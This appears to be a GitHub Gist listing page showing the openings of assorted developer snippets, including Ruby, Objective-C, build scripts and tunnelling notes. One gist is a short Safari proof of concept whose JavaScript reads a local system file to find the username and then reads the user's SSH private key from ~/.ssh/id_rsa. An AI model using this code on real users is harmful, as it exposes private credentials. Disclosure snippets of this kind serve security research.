Skip to content

Instantly share code, notes, and snippets.

@pfleidi
pfleidi / fiberchat.rb
Created February 19, 2011 18:51
A naive socket chat using select() and ruby fibers
require 'rubygems'
require 'socket'
include Socket::Constants
class ChatServer
def initialize
@reading = Array.new
@writing = Array.new
@clients = Hash.new
@naokits
naokits / afnetwork_sample.m
Created December 14, 2011 04:49
AFNetworkingを使用したPDFファイルの受信処理サンプル。PDFファイルをサーバから受信中に総受信量(MB)を表示する。
//
// Created by Naoki TSUTSUI on 11/12/04.
//
/*
以下のコードは、実際に動作しているコードからの抜粋ですので、このままでは
動作しないかもしれません。fetchPdfFromServerのみ参考にしてください。
インジケータ表示にMBProgressHUDを使用していますが、必要なければ該当コード
を削除してください。
*/
@rummelonp
rummelonp / mailer.rb
Created January 26, 2012 16:00
Sinatra でメール送信フォーム
# -*- coding: utf-8 -*-
require 'sinatra/base'
require 'haml'
require 'padrino-helpers'
require 'padrino-mailer'
class Mailer < Sinatra::Base
register Padrino::Helpers
register Padrino::Mailer
@lizard-isana
lizard-isana / orbjs_tips_satellite_120419.txt
Last active October 3, 2015 07:38
Orb.js: How to calc the position of satellites
// orb.js tips 2012.04.19
// How to calc the position of satellites
// https://github.com/lizard-isana/orb.js
// demo: http://www.lizard-tail.com/isana/lab/orb/
// 人工衛星の位置を計算する方法
// 衛星の位置計算に必要なのは core.js と satellite.js の二つ.。
// https://github.com/lizard-isana/orb.js/blob/master/core.js
// https://github.com/lizard-isana/orb.js/blob/master/satellite.js
@rummelonp
rummelonp / faraday.md
Last active May 20, 2022 12:23
Ruby の HTTP クライアントライブラリ Faraday が便利そう

Ruby の HTTP クライアントライブラリ Faraday が便利そう

Ruby の HTTP クライアントライブラリ Faraday が便利そう

API ラッパの開発には [RestClient gem][rest_client_gem] だとか
OAuth の必要なものは [Net/HTTP][net_http] + [OAuth gem][oauth_gem] を使ってた

[Twitter gem][twitter_gem] や [Instagram gem][instagram_gem] など API ライブラリのソースを読んでみると
[Faraday gem][faraday_gem] というものがよく使われてた

@ssig33
ssig33 / yosou.rb
Created June 25, 2012 08:16
ファーストサーバーの事故についてちょっと具体的に想像してみました
# ホットスタンバイがバックアップじゃないとかその手の話はとりあえず置いておきます
#
# なぜこんな間抜けな事故が起きたかについてだけ想像
#
# 1. いろんなサーバーメンテナンスをスクリプトでやっていた
# 2. スクトプトは随時使い回したり書き換えたりして使っていた
#
# という状態であったと推測する。中小規模自社サービスとかやってるところとかもわり
# とこうなんじゃないですかね。ホスティングでそのレベルでいい加減なのどうなんでし
# ょうか。
@mala
mala / gist:3235575
Created August 2, 2012 08:55
SafariでローカルHTMLファイルを開いた時にSSH秘密鍵を取得するやつ(どこに置いてあっても動くバージョン)
<script>
var username;
var req = new XMLHttpRequest;
req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
req.onload = function(){
username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
alert("Username:" + username);
req.open("GET", "file:///Users/" + username + "/.ssh/id_rsa");
req.onload = function(){ alert(req.responseText) };
req.send();
@smellman
smellman / build.sh
Created December 6, 2012 12:28
OpenSSLをiPhone向けにビルドしてみる(armv7)
# wget http://openssl.org/source/openssl-1.0.1c.tar.gz
# mkdir build config_temp tmp target
# SDKROOT=/Applications/Xcode4.4.1.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.1.sdk ARCHS=armv7 BUILD_DIR=/Users/btm/tmp/openssl/build CONFIGURATION_TEMP_DIR=/Users/btm/tmp/openssl/config_temp TARGET_BUILD_DIR=/Users/btm/tmp/openssl/target PROJECT_TEMP_DIR=/Users/btm/tmp/openssl/tmp sh build.sh
#set | grep ARCH
#set -x
## Determine the appropriate openssl source path to use
## Introduced by michaeltyson, adapted to account for OPENSSL_SRC build path
# locate src archive file if present
@gdamjan
gdamjan / README.md
Last active July 9, 2024 22:54
Setup for an easy to use, simple reverse http tunnels with nginx and ssh. It's that simple there's no authentication at all. The end result, a single ssh command invocation gives you a public url for your web app hosted on your laptop.

What

A lot of times you are developing a web application on your own laptop or home computer and would like to demo it to the public. Most of those times you are behind a router/firewall and you don't have a public IP address. Instead of configuring routers (often not possible), this solution gives you a public URL that's reverse tunnelled via ssh to your laptop.

Because of the relaxation of the sshd setup, it's best used on a dedicated virtual machine just for this (an Amazon micro instance for example).

Requirements

@dergachev
dergachev / GIF-Screencast-OSX.md
Last active July 17, 2024 14:20
OS X Screencast to animated GIF

OS X Screencast to animated GIF

This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.

Screencapture GIF

Instructions

To capture the video (filesize: 19MB), using the free "QuickTime Player" application: